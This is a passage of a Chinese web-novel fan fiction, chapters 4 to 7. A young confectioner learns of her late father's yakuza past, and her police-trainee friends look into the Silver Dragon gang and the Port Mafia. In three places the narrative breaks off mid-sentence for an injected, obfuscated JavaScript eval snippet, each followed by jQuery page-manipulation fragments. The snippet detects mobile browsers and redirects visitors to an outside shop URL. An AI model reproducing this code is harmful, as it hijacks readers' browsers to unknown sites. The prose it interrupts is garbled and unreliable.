佐藤缘醒过来的时候看了看枕边,身下垫了块小垫子,身上披着小毯子的小羊羹还侧躺着呼呼大睡,身体随着呼吸一起一伏,身上散发的全是羊羹那种甜蜜蜜的香气。
这种味道很好地安抚着她,一夜安眠之后无论是精力还是韧劲都回复了。
现在再来思考昨天那一堆令自己头皮发麻的消息也感觉好像不再那么烦恼了。
之前以为自己面对的困难是好好经营老爹留下的点心铺并且将它发扬光大,但现在更棘手的问题来了,她需要想办法处理的是未来自己可能被认定的极道身份,以及银龙会会长的生日会。
她对于极道的事情可以说是一窍不通,暂且不提胜田组靠不靠得住,目前来说她唯一能依靠的也只有胜田组了,而从昨天胜田耀上门的表现来看,对方对自己还是善意的。
至于他口中所说银龙会的会长松本老爹……
虽然胜田耀嘴上说对方是个和蔼可亲又十分讲道义的人,但实际上到底是个怎样的人她也不知道。
佐藤缘对于极道的印象完全来源于影视剧,自从排暴条例的出台,影视剧里的极道也少见那些忠义之类的宣传,形象大多都是黑暗、暴力、血腥的。
只能靠自己,走一步算一步了。
佐藤缘深深叹气,手指无意识地揉搓着垫子上的小羊羹,直到对方用颤巍巍的“咩咩”声抗议。
“啊,抱歉抱歉。”
点心动物无需进食,但很喜欢和佐藤缘这个创造自己的主人贴贴,所以她走到哪里都把小羊羹揣在身上,小东西也不闹腾,就这样安安静静地趴在她的围兜口袋里,看着她将昨晚没处理的那些羊羹继续脱模。
她看着被摆放在盒子里的羊羹,到底还是没有勇气自己一个人享用,于是只好打电话摇人帮自己解决这些甜蜜的烦恼。
“打扰咯——”
伴随着爽朗的女声以及另外两个附和的男声,佐藤缘的家里迎来了三个解决甜蜜烦恼的小伙伴。
为首的是一个相貌秀丽的女子,有着浅棕色的细长眉毛,以及同款的柔顺长发,眼睛是澄澈如同天空般的蓝色。
“哟,好久不见了,小缘妹妹~”第二个说话的是跟在女子后面,留着黑色半长发的男人,柳叶一般的眉眼让他的笑容看起来亲和又带着风流的轻佻,他笑眯眯的将手搭在身后的男人肩膀上,另一只手朝着佐藤缘摇了摇,算是打招呼。
“好久不见,千速姐,研二哥,还有阵平。”
佐藤缘同样笑眯眯地向三人组打了招呼,然后无视了最后那个一头黑色卷发的男人“为什么只有我不加敬称啊!”的抱怨,邀请三人进入客厅。
“我去拿点心,你们先坐一下。”
“好啦好啦,因为小阵平一直都在给小缘妹妹添麻烦嘛~”看着佐藤缘的背影,萩原研二见怪不怪地将搭在对方肩膀的手臂移到对方的脖子上,然后用了些力将对方勾到自己身边,制止了对方接下来的抱怨。
没管身后两个明明已经成年了却还像是高中生一样的男人打闹,萩原千速走到客厅的佛龛面前,双手合十向佐藤大和的遗像拜了拜,然后才转过头看向安静下来的两个男人,压低了声音,“先过来和佐藤大叔打个招呼。”
两个男人顿时收敛了起来,老老实实地跟着萩原千速向佐藤大和敬香。
因为和佐藤一家的关系很好,甚至可以说佐藤缘就是跟在三人屁股后面长大的,所以萩原千速来佐藤家也不拘束。
她盘腿坐在榻榻米上,手肘撑在矮桌上等着佐藤缘端来她做的点心羊羹。
“因为技艺还不成熟的关系所以是并不能够用来出售的瑕疵品,但还算能入口,所以只有请三位帮忙消灭了。”佐藤缘将三块羊羹盛在碟子里端出后又拿了三个纸袋,里面装着剩余的点心。
“哎呀,能够在累死人的集训结束之后第一时间吃到小缘妹妹的点心可太治愈了。”萩原研二并没有在意佐藤缘口中所说的“瑕疵品”,他拿起竹签分割出一小块凝结成琥珀蜜蜡色的羊羹塞入嘴里,眉眼带笑,“哦呀,这不是很好吃嘛~哪里算是瑕疵品了啊~”
“我现在丝毫不担心小缘妹妹的未来了,这不是很好地继承了佐藤大叔的手艺嘛!”
听到萩原研二的称赞,歪七扭八坐在他身边的松田阵平同样切了一块塞进嘴里嚼嚼,然后挑了下眉,“有股焦味,你这家伙,蒸红豆的时候走神了吧?”
伴随着萩原千速“诶,有吗?我倒是觉得不够甜。”的评论,佐藤缘脸上的笑容伴随着头顶的青筋一同绽放,“果然邀请阵平来是对的,虽然嘴巴很坏,但舌头却还是一如既往的灵敏呢。”
“叫哥哥啊!”听到佐藤缘的话,松田阵平抱怨了一句。“所以说你这家伙从小就不可爱。”
“小阵平,就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081343|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是因为你嘴巴一直这么坏,所以才会得不到小缘妹妹的尊敬哦。”听到松田阵平的抱怨,萩原研二说了句公道话。
“萩!你到底是站在谁那边的啊?”
“我嘛,一直都站在小缘妹妹那边咯!”
然后松田阵平迅速被转移了注意力开始和萩原研二打闹起来,最后一如既往的在萩原千速的镇压下迅速平息。
“好了,日常的问候已经结束了,所以说,接下来我们该进入正题了。”迅速镇压下两人之后,萩原千速捧起热茶清了清口。
“千万别说你难得把我们三个人找过来只是为了解决什么‘瑕疵品’哦,我可不想听到那些客套话。”
刚刚还在打闹的两个男人同样也严肃了脸色,坐到佐藤缘身边。
“该说果然不愧是以‘警察’为目标的三位么,果然很敏锐呢。”佐藤缘环视了一圈,发现三人眼里只有对自己的担忧,不禁松了口气。
然后将昨天胜田耀找上门来的事情说得一清二楚。
“可恶!搞什么啊那个大叔!”
听完佐藤缘的话,松田阵平第一个爆发,他双手拍打在矮桌上,差一点把桌子掀翻。
“早点老老实实退团不好吗,非得把这种烂摊子丢下来,开什么玩笑!”
看到松田阵平的表现,佐藤缘反而吓了一跳。
虽然萩原千速和萩原研二的脸色同样严肃,但她没想到松田阵平的反应会这么大。
“好了阵平,小缘妹妹把这件事情告诉我们是为了让我们找到解决办法,不是在这里无能狂怒的。”萩原研二的脸色看起来相当阴沉,虽然他同样对留下烂摊子的佐藤大和有一肚子牢骚要发,但却还能勉强压制住自己的愤怒,稳稳地压住了差一点要被松田阵平掀翻的桌子。
“我们现在能做的是想办法帮小缘妹妹摆脱麻烦。”
“关于这个,其实昨天那个人离开之后我也有做过一些调查。”听到萩原研二的话,佐藤缘捋了捋头发,神色平静到简直不像是一个十六岁的高中生。
“如果那个人没有说谎的话,目前‘刃樱会’的成员只有我一人,所以在法律意义上是构不成‘暴力团’的,而且因为父亲过世的关系我也根本没有‘入会’,只能说是继承了他的组织,在这方面而言,我的身份还算是清白。”
“社会身份这方面来说我是没什么问题,但……”
三人对视一眼,很清楚佐藤缘的麻烦并不在于柜面上,而是在于柜面之下。
极道可没有那么好说话,更何况银龙会还是道上响当当的大组织,这样的组织首领发下话来,佐藤缘怎么可能拒绝?
她只不过是一个没有任何身份背景的孤女,不被人欺凌就不错了,还要面对未来各种帮派组织的威胁,这种究极地狱的生存模式,怎么能承受得了?!
“所以,我想请三位帮忙调查一下,关于银龙会以及胜田组的消息。”
佐藤缘伸手进兜,摸了摸还□□着的小羊羹,深呼吸一口气。
“不说完美解决麻烦,只要能够安然度过这次生辰会我就感激不尽了。”
5. 第 5 章
萩原千速、萩原研二以及松田阵平三人对视一眼,看着面前的佐藤缘神色严肃地点了点头,“虽然暂时还不知道怎么解决这个问题,但是不论如何先行动起来。”萩原千速作为几人之中年纪最长的那位拍了板,“极·道什么的我们之前接触不多,先从打探消息开始,我先通过同事那边打探下银龙会的消息,研二人缘比较好,消息也比我更灵通,你去打听下胜田组的事情。”
“至于阵平……”
“我去找找老爹那边,”松田阵平说着一脸不爽地补充了一句,“老爹之前是拳击手,那边无论如何还是会接触到一些的,虽然现在已经是个烂人了,但是之前也受过佐藤大叔不少照顾,他应该会帮忙的。”
正如松田阵平所说,松田丈太郎虽然并未混迹极·道,但因之前作为职业拳击手这样的身份也的的确确与暴力圈产生过千丝万缕的纠缠,更是因此差点被警方当做犯罪嫌疑人逮捕,虽说最后洗清了嫌疑但却因为错过了关键的冠军赛事而变得一蹶不振,变成了酗酒的颓废大叔。
“我在家里再找找老爹的线索,至于其他的,就拜托三位了。”佐藤缘点了点头,手指紧抓着衣角而泛白,她低着头不打算让坐在面前的小伙伴看到自己泛红的眼眶。
在绝望之际,身边还能有可以依靠的小伙伴真是太好了。
“小缘妹妹,不要担心。”看着坐在自己对面低着头的少女,萩原研二伸出手摸了摸她的头,“船到桥头自然直,路总是会有的。”
松田三人的行动力不可谓不强,佐藤缘身边的小羊羹还没来得及变回羊羹,三人组就又来到了她家。
萩原千速率先说出了她得到的消息,“我们组的小姑娘们消息相当灵通,通过联谊认识了‘组对’的同事,打探了下关于银龙会的消息。”
“组对”,全称有组织犯罪对策部,是东京警视厅下设的专业部门,专门负责打击有组织犯罪,萩原千速此次求助的同僚所属神奈川县有组织犯罪对策部的暴力团对策科,正好了解银龙会的内情。
“银龙会啊……他们家的头领松本与志夫是匹相当狡猾的老狼,在组对部可是挂了号的棘手人物,虽然年纪上去了,但手腕一点没松,所以才能压住底下那些蠢蠢欲动的家伙吧”
“银龙会的分组织已经混乱起来了吗?”
“嘛……”听到萩原千速的问题,对方瞥了她一眼,笑着从口袋里摸出一支烟,“不介意吧?”
在萩原千速摇摇头表示自己不介意之后对方很快点燃香烟,深呼吸了一口,然后慢慢吐出,“不好意思在千速酱你这个大美女面前失礼了啊,不过这已经成为习惯戒不掉了。”
“ ……说到底,狼王老了,底下的狼崽子就想伸爪子。再说如今社会规则变了,警察和极·道早就不是过去那种‘你守暗面、我管明面’的含糊关系了,是彻头彻尾的敌对。组织年年萎缩,首领要是还死守过去那套,离完蛋也就不远了。”
“啊,别用这种眼神看我啦,我好歹是从昭和时代过来的,见识过他们最风光的时候。单论‘极道义理’这套旧规矩,松本那边确实还讲一些,甚至比起现在某些黑心企业都要正经得多,但这改变不了他们犯罪集团的本质。”
“比起这个,我听说近期银龙会那边好像有什么大动作。”
“你听说了啊,虽然这些年已经低调下来了,但每年这个时候‘组对’这边都会很头疼啊……松本与志夫的生日会。按照他们的传统,下属团体都会来祝寿,这是他们展示势力、巩固内部纽带的关键场合。”
“今年还算好了,遇到整寿的年份,场面会更大。我们和辖区警察要提前布控,在会场周围重点戒备,既要防止他们闹事,也要提防敌对组织来挑衅。嘛……见血都是常事,往年还有不对付的组织械斗用上了热武器呢,真是的,也不用知道他们是从哪里搞来的……”
“总之,我是不知道为什么交通课的美女要打探暴力团体的讯息,既然你问了,我就多说一句,那群人非常危险,好奇心别太重。”说着,对方将已经抽到底的烟头熄灭,扔在脚下踩了踩。
“你好自为之。”
“……我明白了,多谢你告诉我这些,下次请你吃饭。”
“吃饭就算了,这些都是‘组对’公开简报里的内容,提醒同僚注意安全罢了。比起这个,下次美纪酱再组织联谊会的时候多叫叫我就行啦~就算没有美女看得上大叔也可以做做僚机嘛~”
萩原千速分享完她从“组对”的同僚这边得到的情报之后,在场几人都小小地松了口气,虽然银龙会这个庞然大物听起来还是很危险,但在老警察那边的评价倒是意外的正面。
“接下来是我这边,我也打听了胜田组的消息,嘛……与其说是极道组织,倒不如说是有点踩线的灰色团体。”萩原研二提起胜田耀的时候表情微妙地挑起眉,“规模不大,结构倒是很传统。胜田组目前的地盘基本承接了过去刃樱会的范围,实际名义上管着两条街:一条是能正常收上‘礼金’的商业街,另一条是龙蛇混杂、只能勉强维持秩序的麻烦后街。此外还经营着两家物流公司和一家典当行,手下大约二三十人。当家是胜田耀,若头是他的亲弟弟胜田辉,三弟是胜田光。三兄弟感情很好,以胜田耀为首,算是老商户们看着长大的。”
“他们的行事风格……在如今的环境里算是个‘异类’。除了收取固定的‘礼金’之外,确实不怎么主动生事,街坊有什么纠纷他们甚至会出面调解,用他们那套‘道上’的方法‘身体力行’地解决。所以在那条商业街,他们的风评意外地不差,甚至有些老店觉得他们在比警察更‘有效’地维持秩序。当然,这改变不了其非法组织的本质。”
听完了萩原研二的话,佐藤缘更是长出了一口气,虽然说目前胜田耀的立场仍旧不明,但单从调查来看人品还算可以,也就是说他那天主动上门的提醒,或多或少都带着善意。
“最后是我这边,”萩原研二说完,松田阵平就有些不耐烦地接了下去,“虽然老头子还是一如既往酒品很差,但听说是佐藤大叔的事情立刻就精神了,虽然说佐藤大叔没有表明过自己的身份,但我老爹好像早就隐约察觉到他的来历不一般,所以把自己知道的都倒出来了。”
“不过那都是二三十年前的老黄历了,也不知道现在还管不管用。”
“佐藤大叔的本名应该是花井,花井龙之介,道上人称‘夜噬之龙’。据说他最擅长像阴影里的龙一样,在晚上发动谁都预料不到的突袭,把对手整个吞掉。他的成名战是决定关东地盘分配的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081344|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
‘神户港码头之战’,当时他身中十三刀,血人都快成了,却硬是死战不退,最后带着刃樱会的人把对方彻底打垮,一举成名。”
听到松田阵平的话,佐藤缘嘴角抽了抽,她实在无法将记忆中那个总是戴着达摩面具搞怪,给她做兔子苹果的和蔼大叔,跟三十年前的那个“杀神”形象重合起来。
“这……实在是太难想象了……”
同样,在场的萩原研二以及萩原千速都忍不住转过头去看佛龛上供奉的那张照片,再怎么看也看不出半点凶煞之气。
“这位佐藤大叔,同样还是个胆大心黑、精于算计的主儿。萩刚才说刃樱会地盘里有一条麻烦的后街对吧?那条街,当年就是他精心设局,挑动三家敌对组织在那里火并,自己躲在后面给他们‘递刀子’。等那三家拼得筋疲力尽、元气大伤,他再站出来当‘和事佬’,轻轻松松就把整条街吃到了嘴里。虽然现在没落了,但听说在那个年代,那条街的油水,能顶得上其他普通街道的三倍!”
“那就……更难想象了。”佐藤缘喃喃道,声音轻得几乎散在空气里。她手伸进衣兜揉搓着盘在里面睡觉的小羊羹,目光再次飘向佛龛上那张照片,试图从那眉眼的弧度中找出一丝“夜噬之龙”的影子,却只看到记忆中为自己擦去眼泪的指茧和那张和蔼的笑脸。
房间里安静了片刻,只余窗外隐约的车流声。
萩原研二缓缓吐出一口气,打破了寂静。
他整个人松垮下来,手肘搭在矮桌上,手指无意识地敲击桌面。
“阵平这么说我就想起来了……‘夜噬之龙’这个名字,我在警校的旧档案简报里扫到过一眼,是作为‘已消退的威胁’被归类的。没想到,本人就在眼前。”他的视线转向佐藤缘,语气复杂,少了几分平日的不羁。“看起来,小缘妹妹的潜在危机并没有如此简单。”
“话说回来,让小缘妹妹被盯上的那两位不请自来的麻烦客人,身份有人知道吗?”
“这个我来说吧,”听到这里,佐藤缘举起手,脸色有些苍白,“说起来让人意外,别的不说,那位的身份倒是很明确,甚至连照片都堂堂正正地登录在网站的公司介绍页面上。”
“尾崎红叶,是森氏港运株式会社的领导层,职位是对外贸易经理,”她说着掏出手机,将公司网站上的照片展示给几人,然后在几人古怪的面色中又加了一句,“横滨那边的。”
这话一出,几人面面相觑,
“……所以说……”
“是吧?”
“……是‘那边’的世界吧……”
提到横滨,那就不得不提起横滨最著名的特产——异能力者。
或许是因为异能本身就像磁石,全霓虹绝大部分的异能力者都不可思议地聚集于此。自从战败之后,横滨就成了一个自成体系的异能力自治区,运转着独特的规则:白昼由官方势力管辖,而夜晚的秩序,则归属于那个几乎统合了整个里世界的庞然大物——港口mafia。
“所以,基本上是明示了。”佐藤缘说着叹了口气,“尾崎红叶是港口mafia的高层领导。这样一位举足轻重的人物,竟然亲自来到我家给父亲上香……这举动本身,就足以在有心人眼里掀起惊涛骇浪,想不引起注意都难。”
6. 第 6 章
“早已隐退的前极道分子到底是如何吸引执掌暗世界的庞然大物呢?”
佐藤缘回忆了一下尾崎红叶来到葬礼上时说的话,虽然那个时候她的大脑还因为不速之客的到来而一团浆糊,但此时指腹摩挲着衣兜里的小羊羹,回忆还是慢慢涌现了上来。
“据她所说,是为了父亲的手艺。”
“港口mafia的首领……很喜欢老爹的点心?”
听到佐藤缘的话,松田阵平皱起眉,“确定不是什么隐喻?”
“不知道啊,我这些年不是在远月进修嘛,也不知道老爹后来是不是认识了什么奇奇怪怪的客人。”棕色长发的少女同样皱起眉头,揉搓在小羊羹身上的手指加重了力道,换来对方抗议的角撞。
“ 比起那个,你是不是应该先说明一下……那个?”佐藤缘抚摸小羊羹的小动作并没有掩饰得很好,在场的三位全是警察系统的人精,哪能没有注意到她的动作?
因此在她再一次不自觉地将手伸进口袋之后,松田阵平忍不住问了。
“哦,这个啊……”佐藤缘后知后觉地抬头,看着盯着自己的三人,将小羊羹从口袋里摸了出来。
“噗。”看着被佐藤缘从口袋里掏出放在桌子上颤颤巍巍的小羊羹,松田阵平嘴角扯了扯,身边的萩原研二倒是没忍住发出了笑,而萩原千速很感兴趣地凑到了小羊羹的面前。
作为佐藤缘的青梅竹马,她的这点异能力自然也没能瞒住身边的几位,当初还兴致勃勃地陪着佐藤缘试验了好久,最终得出的结论是佐藤缘虽然有异能力但是并没有什么卵用,于是四人组就放了心,甚至主动怂恿佐藤缘做了一堆点心搞出来几个点心动物偷偷带回家养过。
只可惜养不长。
这会儿看到佐藤缘手上的小羊羹,忽然就想起了过去养着小萌物的快乐时光,脸上的表情都柔和下来,萩原研二更是速速上手摸了摸小羊羹头顶的小羊角。
“话说回来,对方应该不会是冲着你的这个能力来的吧?”松田阵平看着被佐藤缘摆放在矮桌上的小羊羹,突然问出了一句,换来在场所有人的沉默。
就连佐藤缘本人也一言难尽地看着桌上毫无攻击力只能用卖萌的点心动物,几乎都不用思考就摇头。
“不可能,这点绝不可能。”
怎么说?
港口mafia的首领还是个喜欢卖萌点心的怪大叔?
算了吧。
佐藤缘回想起森氏港运株式会社官方网站上总负责人那张难掩锐利眼神的阴森大叔,结合他们的胡乱猜测,表情不能再古怪。
“也是,总之先不管那边怎么想的,反正他们的战场基本是在横滨,还是优先解决我们这边的问题。”萩原研二逗弄的小羊羹很快被萩原千速拿过去了,这会儿正扒拉在她的手掌心。
“银龙会首领的生辰会。”
“胜田组那边跟我说生辰礼以及贡金很早就已经准备好了,只需要我走个过场,而胜田耀本人也会跟着出席,所以只要我低调听话一些应该就没问题了。”佐藤缘勉强自己勾了勾嘴角,说着连自己都不相信的话。
“这怎么可能没问题啊?”听到她的话,松田阵平又忍不住要掀桌。
“银龙会又不是铁板一块,之前也说了首领年纪大了所以底下的人都蠢蠢欲动吧,也不知道佐藤大叔得罪过哪些人,‘刃樱会’的地盘虽然不大,但既然佐藤大叔已经死了,那身为他唯一的继承人,其他人盯上你的可能性都不用怀疑……等等,难道这才是他们的想法?”
分析到最后,松田阵平的声音低了下来,他喃喃自语着,表情有些微妙的凝重。
“小阵平,虽然不太可能,但莫非你和我是同样的猜测……港口mafia那位大人物的出现,虽然将小缘妹妹的推上了风口浪尖,但同样也是留下了一道护身符?”
正因为摸不清楚佐藤缘和港口mafia到底有什么关系,哪怕有心想要动“刃樱会”的存在也会有所顾忌,更是让佐藤缘在银龙会的头领松本与志夫那边挂了名,这样一来,佐藤大和过去的那些敌人哪怕想要报复,也得掂量一下自己的付出到底值不值。
对付佐藤缘一个没有什么势力的遗孤没什么难的,但因此惹到港口mafia这个庞然大物到底值不值得?
“所以说,我还要感谢一下那两位不速之客?”佐藤缘向来是很相信两位兄长的头脑的,因此当萩原研二带着迟疑说出自己的推测,而松田阵平没有反驳后疲惫地叹了口气。
一堆乱七八糟的事情,她就不能好好地、安安分分地、和和平平经营一家点心铺吗?
无论是萩原姐弟还是松田阵平都没说过要陪着佐藤缘一同出席,并非对佐藤缘见死不救,实在是他们的身份尴尬,萩原千速是警察,而他们两个在结束警官学校的培训后马上也会被分配到各个警署,三个警察陪着佐藤缘参加极·道的龙头老大生辰会,这是在赤裸裸的挑衅。
只会让佐藤缘的处境更加尴尬。
“千速姐、研二哥,还有阵平,感谢你们帮我查了这么多,我现在心里有点底了。”佐藤缘哪怕心里再烦,面上也没有显露出太多。
这要怎么说?
老爹留下的债,她不得不接。
“实在不行……”萩原千速看着佐藤缘苍白的脸,心里涌起一个很荒唐的想法,但话还没出口又被她咽了回去。
小缘不会逃跑的。
“千速姐,我还有件事情想要拜托你。”佐藤缘深呼吸了口气,心里显然已经有了主意。
“你能教我化妆吗?”
“什么?”
“我这张脸太没有威慑力了,”佐藤缘指了指自己因为年幼还显得有些肉鼓鼓的脸颊,带着苦笑。“用这张脸去参与生辰会话还没说就被人看轻了,虽然并不打算继承老爹的组织,但总不能未战先怯,给老爹丢人吧?”
佐藤缘是典型的那种可爱系的圆脸,这让她看起来比实际年龄更显稚气。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081345|195328||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
当她抿起嘴时,脸颊上便会浮现出小巧的酒窝和梨涡,仿佛盛着一点未说出口的俏皮,尤为甜美无害。那双蜜糖色的眼睛温润清亮,垂眸时像融化的太妃糖,看人的时候如同小动物一般乖巧无害。
虽然熟悉她的人都知道本人的性格绝没有如外表一般单纯无害,但说实话,这样一张脸摆在面前,做偶像都比做极·道继承人有说服力得多。
“我想将眉眼化得更凌厉一些。”她这么说着,显然已经从“怎么办”到了“怎么做”。
“最好能变成电视里那种看起来就很有气势的大姐姐,让人不敢看轻。”佐藤缘说着抿起嘴,完全不知道这会儿说话的时候嘴角的梨涡又为她平添上几分甜美,让对面的三人无奈地捂住眼睛。
“这可真是有够为难我的。”听到佐藤缘的要求,萩原千速叹了口气,她爱怜地伸出手揉了揉佐藤缘的头,“我明白了,这几天我研究一下。”
“话说回来,除了妆容,服装也需要一并准备吧,别说你打算穿这么可爱的衣服过去?”
“服装的话……早就准备好了。”佐藤缘说着想起尾崎红叶带来的那几匹颜色极为雅致的锦缎,心里对于那位是来替她撑腰的猜测又偏了几分。
松田阵平和萩原姐弟离开樱田屋的时候并没有分道扬镳,三人非常有默契地来到了萩原家继续佐藤缘不参与的会议第二趴。
三人与会的时候气氛凝重,根本没有在佐藤缘面前表现出来的轻松。
萩原研二拉下脸时的表情看起来比发火的松田阵平更恐怖,“我们真是没用啊!”
听到他的话,松田阵平的表现反而比他看起来冷静得多,他盘腿坐在地上,摸出手机手指飞快舞动。
“萩,银龙会我们找不了,胜田耀还是能上门的吧?”
“干脆直接从当事人那边入手好了。”
“你是说?”
“佐藤大叔的敌人,以及对‘刃樱会’地盘虎视眈眈的人,胜田耀心里肯定有数。”
胜田耀听说有人找上门的时候还以为是街坊邻居又有什么矛盾需要解决,结果等他看到上门的两个青年时面露疑惑,“你们两个是?”
“大叔,我们两个有些事情想要请教。”说话的是个有着一头黑色卷毛的青年,看着胜田耀的表情绝称不上友好,而另外一个中长发的青年表情虽然同样不怎么样,但姿态倒是没有那么挑衅。
胜田耀心里盘算了一圈自己地盘上的混混,并没有眼熟的印象。
“虽然不知道你们两个是从哪里知道我的,但……”话音未落就被那个满脸挑衅的小子打断了,
“关于下个月的生辰会。”
听到这个,胜田耀心里有了计较。
他看着面前两个看起来虽然看起来还有些青涩但不失勇武的青年,眼里带着审视。
哦呀,莫非是……
“倘若你们两位就是大小姐选择的‘家人’,那我有资格对你们两人进行考验。”
7. 第 7 章
听到胜田耀的话,松田阵平眨了眨眼,心想怎么自己和萩原研二来替佐藤缘出头还得经过对方的考验?
“你是不是搞错了什么啊大叔,我们和那家伙的关系绝对比你亲近得多好嘛?!你有什么资格来考验我们啊?”
“那个……虽然不知道你在说什么但我敢肯定你误会了。”萩原研二倒是比松田阵平反应快一点,尤其是他看到胜田耀眼里跃跃欲试的审视。
“我们只是替小缘妹妹来问清楚一些事情而已。”
胜田耀审视着面前两个单看身形样貌就知道非常出彩的青年,闻言皱了皱眉,他简单地点了下头,示意两人进门。
胜田耀目前常待的地方是商业街街尾的胜田物流株式会社,同样也是摆在明面上的据点,当然辖区内的警署对于这个地点也是心知肚明,只是对方已经在改型过程中,算是和警方互有默契不打扰而已。
“所以,你们和大小姐之间的关系是?”
“小缘妹妹算是我们看着长大的小妹妹,所以她突然出了这么大的事情,我们这两个做哥哥的于情于理都要上门拜访下。”对外交涉向来是萩原研二的事情,毕竟以松田阵平那火爆的脾气和那张嘴巴,没说两句就要和人打起来了。
听到萩原研二的话,胜田耀缓缓点头,“最近收到有几个年轻人在打探我的消息,应该就是你们了吧。”
“我大概知道你们的目的,我也一样在想法子让大小姐避开这趟浑水,但依照目前的情况来看,根本不可能。”
他看着面前两个脸上还带着少年青涩感的青年,轻轻叹了口气,“这次的生辰会,松本老爹指名了要大小姐出席,这是‘指名’,不是‘邀请’,没有回绝的余地。”
“哪怕她只是一个十六岁的未成年少女?”
“别说未成年少女了,哪怕她是襁褓中的婴儿,该去也得去。”
“别动什么奇怪的脑筋,银龙会现在还安安分分的是因为松本老爹牢牢地压制着底下的崽子,一旦他出了问题,到时候就是天下大乱了。”胜田耀看着松田阵平满脸不舒服的样子加了一句,“你们听说过几年前横滨那边的‘龙头战争’么?东京虽然不一定有那边那么大的场面,但破坏力是一点不输那边的。”
听到这近乎直白的恐吓,萩原研二的表情僵硬了一下,“横滨那边乱是因为军警的掌控力度不够,东京可是治安很稳定的。”
听到这句话,胜田耀默默地看着他。
你确定?
不说别的地方,就米花那块人杰地灵,三天一小鲨,五天一大炸的,时不时还有什么恐·怖·分·子搞袭击,市政大楼说炸就炸的,这叫做治安很稳定?
这犯罪率,说难听点比现在稳定下来的横滨都要高。
“……我实话实说吧,哪怕松本老爹允了大小姐退出组织,她和你们最终也不会是一路人。”
“……什么意思?”
“挂着‘刃樱会’的名号,我们这边才能够合情合理地保护大小姐,这块地盘也还算‘有主’。一旦名号没了,地盘被其他人吞并,胜田组立刻就会变成别人手里指向大小姐的木仓。”胜田耀点了支烟,“我们这边的转型没那么快,底下的小弟也要吃饭,要安排出路,不能一拍两散,那是把人往死路上逼。”
“更何况,‘夜噬之龙’的死敌也不少,我们讲道义,但其他人可不一定。”
“……照你这么说,小缘没有脱离的可能了?”
“有,只是需要时间。”胜田耀将烧到底的香烟一弹,“胜田组需要洗白的时间,安排人退组,改头换面,在警·察档案里洗白身份重新做人。”
“按照脱离条例……即使退出了组织也会受到警方限时五年的监控……”
“不用那么久,佐藤大哥前几年就陆陆续续在安排了……三年,我只需要三年时间,到时候大小姐和我们都能安全脱身。”
“两位警察小哥,我的意思很明白了,这三年间,为了保证大小姐的安全,请你们离她远一点。”
“你们的关注和好意,现在对她来说,反而是最显眼、最危险的麻烦。”
佐藤缘并不知道两位青梅竹马此刻正在被胜田组的头领威胁着远离自己,早在知晓佐藤大和的身份之后她就没那么乐观了,躺在床上翻来覆去一整晚,身边只有小羊羹陪伴自己的时候,她就把该整理的都整理起来了。
“虽然说处境没那么好,但其实也没那么坏,你说是吧?”她朝着对自己“咩咩咩”的小羊羹说道,随后用指腹揉着那略带焦味的红豆香。
“滴滴滴!”手机忽然响了起来,她点开日历一看脸上的表情变了,“啊,是今天啊!”顾不得小羊羹还留在床上,她急急忙忙跑去洗漱,“今天准备的材料是什么,我看看……”
“阿拉,小缘,你最近打算重新将点心店开起来吗?”拎着一大堆采购的食材回到店里的时候,隔壁的夕子太太正好出门,她一眼就看到了佐藤缘手上拎着的一大堆材料,表情相当惊讶。
“下午好,夕子女士。”佐藤缘放下手上拎着的袋子,小小放松了一下,笑着朝夕子太太打了声招呼,“最近这几天都没有做过点心手艺生疏了,我打算这几天练习一下。”
“店铺总这么关着也不是个事儿。”
“小缘……真坚强啊。”看着佐藤缘朝着自己简单打了声招呼之后就拎着手上的几个大袋子回了店铺,夕子太太沉默了好久,感叹出一句。
看着那小小的背影,忽然回想起许多年前佐藤大和刚刚带着佐藤缘搬到这里时的场景。
同样也是小小的人儿,手上抱着一大堆食材,走路还有些晃荡呢,却非常逞强地不肯将东西交给旁人。
佐藤大和也由着她去。
“没关系的,我可以。”
“是么是么,我家小缘真可靠呀 ~今后‘樱田屋’就要交给你啦!”
“放心吧,我一定会把‘樱田屋’发扬光大,做成最知名的点心屋的!”
“好!我们家小缘有志气!”
买回来的食材看上去有几大袋,实际上并不多,佐藤大和在住院之前还在坚持做点心,因此诸如糯米、红豆、砂糖这类基础原料,都在店内保存得极好。
佐藤缘挽起袖子,看着被擦拭干净的工作台,上边摆着一小盆蒸好的糯米,一碗深红的粒馅,和一碟炒得焦香的黄豆粉和一碟黑芝麻粉。
红豆不是之前做坏了的那批,而是她在重整思绪后重新制作的完美红豆馅,豆粒饱满,豆皮微微绽开,内里的沙质却依然成形
